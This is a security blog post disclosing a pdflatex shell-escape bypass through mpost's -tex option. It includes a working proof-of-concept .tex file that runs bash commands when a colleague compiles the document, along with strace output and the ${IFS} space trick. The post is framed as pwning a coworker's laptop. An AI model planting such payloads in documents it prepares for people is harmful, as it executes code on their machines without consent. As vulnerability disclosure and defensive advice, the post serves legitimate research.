Pwning coworkers thanks to LaTeX
28 Nov 2016Writing reports in LaTeX is painful. However, it’s a great occasion to bring joy to the office and pwn a coworker’s laptop while he’s kindly proofreading your pentest report.
\input and \write18 primitives
A few techniques allow the
execution of commands
during the conversion of a .tex
file to a PDF with pdflatex
. It’s
documented, and the following TeX primitives send commands to the shell:
\immediate\write18{bibtex8 --wolfgang \jobname}
\input{|bibtex8 --wolfgang \jobname}
On Ubuntu 16.04, /usr/share/texmf/web2c/texmf.cnf
configuration file controls
the behavior of pdflatex
(texlive-base
package). Here’s an extract:
% Enable system commands via \write18{...}. When enabled fully (set to
% t), obviously insecure. When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed. Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p
% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p. They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs. All to the best of our knowledge. They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\
Normally, any program listed in shell_escape_commands
should be allowed to be
executed. Let’s verify this. First, create a minimal .tex
file:
$ cat <<EOF>x.tex
\documentclass{article}
\begin{document}
\immediate\write18{uname -a}
\end{document}
EOF
Then verify if uname
is actually called thanks to strace
:
$ strace -ff -e execve pdflatex x.tex >/dev/null
execve("/usr/bin/pdflatex", ["pdflatex", "x.tex"], [/* 32 vars */]) = 0
+++ exited with 0 +++
As expected, uname -a
wasn’t executed. Let’s replace uname
with kpsewhich
,
which should be allowed:
$ sed -i 's/uname -a/kpsewhich --imminent --pwn/' x.tex
$ strace -ff -e execve pdflatex x.tex |& grep execve
execve("/usr/bin/pdflatex", ["pdflatex", "x.tex"], [/* 32 vars */]) = 0
[pid 14042] execve("/bin/sh", ["sh", "-c", "kpsewhich '--imminent' '--pwn'"], [/* 37 vars */]) = 0
[pid 14043] execve("/usr/bin/kpsewhich", ["kpsewhich", "--imminent", "--pwn"], [/* 37 vars */]) = 0
Alright, kpsewhich
is really executed, as should any binary in the
shell_escape_commands
list. According to texmf.cnf
, the programs in this
list have no features to invoke arbitrary other programs. As we’re going to
see, this assertion is utterly wrong. Let’s check if the binaries (bibtex
,
bibtex8
, extractbb
, kpsewhich
, makeindex
, mpost
,
repstopdf
) handle malicious input correctly.
MetaPost
The mpost
command seems particularly interesting because of the -tex
option
(which isn’t documented in the
mpost manpage but in the --help
option):
-tex=TEXPROGRAM use TEXPROGRAM for text labels
Let’s create a minimal MetaPost file, and try a few combination of arguments (I’ve absolutely no idea of what this command is meant to do, and the source code isn’t of great help):
$ cat <<EOF>x.mp
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
EOF
$ echo x.mp \
| strace -ff -e execve mpost -ini -tex="/bin/uname -a" \
|& grep execve
execve("/usr/bin/mpost", ["mpost", "-ini", "-tex=/bin/uname -a"], [/* 32 vars */]) = 0
[pid 25508] execve("/bin/uname", ["/bin/uname", "-a", "mpj9sP7Z.tex"], [/* 37 vars */]) = 0
Great, uname -a
is executed.
Exploitation
As seen above, the execution of arbitrary commands is straightforward. Passing
arbitrary arguments to the command line is a little bit more difficult. I didn’t
manage to put any space in them because of the way arguments are parsed. The
function responsible of the command execution is runpopen()
(texmfmp.c).
It calls shell_cmd_is_allowed()
which tells if the given command is allowed
(according to shell_escape_commands
from the configuration file) and quotes
arguments properly. Single quotes ('
) aren’t allowed. Nevermind, powerful
payloads can be written as Python one-liner without requiring any space; but it
may be easier to execute shell commands directly thanks to the bash $IFS
trick.
Finally, here’s a PoC of the vulnerability which executes
bash -c '(id;uname${IFS}-sm)>/tmp/pwn'
:
$ cat <<EOF>x.mp
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
EOF
$ cat <<EOF>x.tex
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
EOF
$ cat /tmp/pwn
cat: /tmp/pwn: No such file or directory
$ pdflatex x.tex >/dev/null
fatal: DVI generation failed
$ cat /tmp/pwn
uid=1000(user) gid=1000(user)
Linux x86_64
A few tricks can improve the “exploit” reliability. Indeed, this PoC doesn’t
work if pdflatex
isn’t lauched from x.mp
’s directory (but default .mp
files can be specified). The -interaction=nonstopmode
option of mpost
allows
the compilation of the rest of the document even if an error occurs.
Conclusion
I think there are plenty of other ways to get code execution, not only by
managing to execute arbitrary command but also by overwriting arbitrary files.
The -no-shell-escape
option of pdflatex
is a workaround which might save you
from this specific issue but I wouldn’t rely too much on it. Given that
pdflatex
and related tools are mostly written in old school C
, memory
corruption bugs are likely to be present…
In short, run pdflatex
in a VM.